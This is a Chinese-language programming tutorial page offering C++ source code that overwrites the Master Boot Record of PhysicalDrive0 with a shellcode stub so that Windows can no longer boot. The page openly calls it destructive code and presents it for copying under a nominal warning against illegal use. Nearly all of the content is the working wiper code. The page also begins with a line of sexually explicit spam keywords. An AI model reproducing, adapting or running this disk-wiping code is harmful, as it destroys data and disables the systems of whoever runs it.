欧美大屁股bbbbxxxx,狼人大香伊蕉国产www亚洲,男ji大巴进入女人的视频小说,男人把ji大巴放进女人免费视频,免费情侣作爱视频

歡迎來到入門教程網(wǎng)!

C語言

當前位置:主頁 > 軟件編程 > C語言 >

C++破壞MBR的代碼

來源:本站原創(chuàng)|時間:2020-01-10|欄目:C語言|點擊: 次

本文實例講述了C++破壞MBR的代碼,該源碼只有破壞作用,使系統(tǒng)無法進入。僅供大家參考借鑒之用。請勿用于非法目的。

源碼來源于網(wǎng)上。具體代碼如下:

復制代碼 代碼如下:
#include <Windows.h> 
#include <stdio.h> 
 
//shellcode隨便寫了點 能破壞MBR,無法進入系統(tǒng) 
unsigned char   scode[]= 
    "\xb8\x12\x00" 
    "\xcd\x10\xbd" 
    "\x18\x7c\xb9"; 
 
DWORD writeMBR() 

    DWORD dwBytesReturned; 
    BYTE pMBR[512]={0}; 
 
    //將破壞代碼寫入變量pMBR 
    memcpy(pMBR, scode, sizeof(scode)); 
    pMBR[510]=0x55; 
    pMBR[511]=0xaa; 
 
    //打開物理磁盤 
    HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 
    if (hDevice == INVALID_HANDLE_VALUE) 
    { 
        printf("createfile failed..."); 
        return -1; 
    } 
 
    //鎖定卷,使用FSCTL_LOCK_VOLUME時,以下有幾個參數(shù)設(shè)為NULL,0; 
    /*Parameters
    hDevice
    A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function. 
 
    dwIoControlCode
    The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation. 
 
    lpInBuffer
    Not used with this operation; set to NULL.
 
    nInBufferSize
    Not used with this operation; set to zero.
 
    lpOutBuffer
    Not used with this operation; set to NULL.
 
    nOutBufferSize
    Not used with this operation; set to zero.
 
    lpBytesReturned
    A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */ 
 
 
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    //寫入磁盤文件  
    WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL); 
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    return 0; 

 
int main(int argc, char* argv[]) 

    writeMBR(); 
    return 0; 
}

希望本文所述對大家的C++程序設(shè)計有所幫助。

上一篇:C++之CNoTrackObject類和new delete操作符的重載實例

欄    目:C語言

下一篇:C++中CSimpleList的實現(xiàn)與測試實例

本文標題:C++破壞MBR的代碼

本文地址:http://mengdiqiu.com.cn/a1/Cyuyan/3257.html

網(wǎng)頁制作CMS教程網(wǎng)絡(luò)編程軟件編程腳本語言數(shù)據(jù)庫服務(wù)器

如果侵犯了您的權(quán)利,請與我們聯(lián)系,我們將在24小時內(nèi)進行處理、任何非本站因素導致的法律后果,本站均不負任何責任。

聯(lián)系QQ:835971066 | 郵箱:835971066#qq.com(#換成@)

Copyright © 2002-2020 腳本教程網(wǎng) 版權(quán)所有